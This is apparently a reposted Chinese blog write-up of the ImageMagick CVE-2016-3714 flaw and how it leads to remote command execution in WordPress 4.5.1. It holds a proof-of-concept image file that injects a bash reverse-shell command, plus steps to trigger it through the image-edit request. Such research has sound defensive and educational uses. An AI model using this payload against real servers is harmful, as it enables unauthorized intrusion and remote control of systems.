IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Write Up: Remote Command Execute in WordPress 4.5.1

    没穿底裤发表于 2016-05-05 03:04:36
    love 0

    from:ricterz.me

    ImageMagick

    ImageMagick 昨天曝出 CVE-2016-3714,Java、PHP 的库也受其影响。其中 PHP 的库 Imagick 应用广泛,波及也大。Wordpress 也就是受此漏洞影响出现了 RCE。

    这个漏洞很蠢,ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。
    MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。
    最终 InvokeDelegate 调用 ExternalDelegateCommand 执行命令。

    5[1]
    1
    MagickCore/delegate.c

    为了让大家更清楚的看见:

    4[1]

    至此,一个命令注入就形成了。

    WordPress

    WordPress 在图像处理的时候默认优先选择 Imagick Library。

    1
    wp-includes/media.php:_wp_image_editor_choose

    如果能找到一个点,调用了 Imagick 类的话,那么就可以进行命令执行。

    2[1]
    wp-includes/media.php:wp_get_image_editor

    这个函数实例化了 WP_Image_Editor_Imagick 类。全局 grep 一下 wp_get_image_editor 可以发现几处调用的地方,比如wp_crop_image。

    6[1]
    wp-admin/includes/image.php:wp_crop_image

    这样寻找调用这个函数的地方就好了。
    像呆子不开口那样扶了扶镜框,找到一个。要求的最小权限是 Author。
    不是 Unauthorized 就可以利用的 RCE,真是难过啊..

    PoC

    用 Author 权限账号登陆,发表文章,插入 Media。
    上传另外一个正常格式的文件:
    a_2[1]
    记住 post_id,我这个为 101。 再上传 exp.png,内容为:

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/127.0.0.1/2333 0>&1")'
    pop graphic-context

    这个的 post_id 为 102。

    接着点击我们正常的那个图片,选择编辑:
    7[1]
    然后点 Edit Origin。进去打开控制台,随便做一些操作后抓包拿到请求的 URL。直接 Copy as cURL 就好了。
    8[1]
    再点击坏掉的图片-Edit-Edit Origin,抓包看到请求的 admin-ajax.php,拿出 _ajax_nonce。最后改掉之前 Copy as cURL 内的 _ajax_nonce 和 post_id,下图划框框的地方是要改的地方。
    9[1]
    回车——啊——
    10[1]
    shell 已经躺好了。

    End

    大晚上不睡觉写文章,主要是因为蚊子太闹了。
    哎,难过的无以复加,女票还不在。
    话说步骤这么麻烦,能不能写个 exploit 自动化呢?答案是肯定的。
    那么 exp 呢?懒得写了…(
    求聚聚写好了分我一份 QWQ



沪ICP备19023445号-2号
友情链接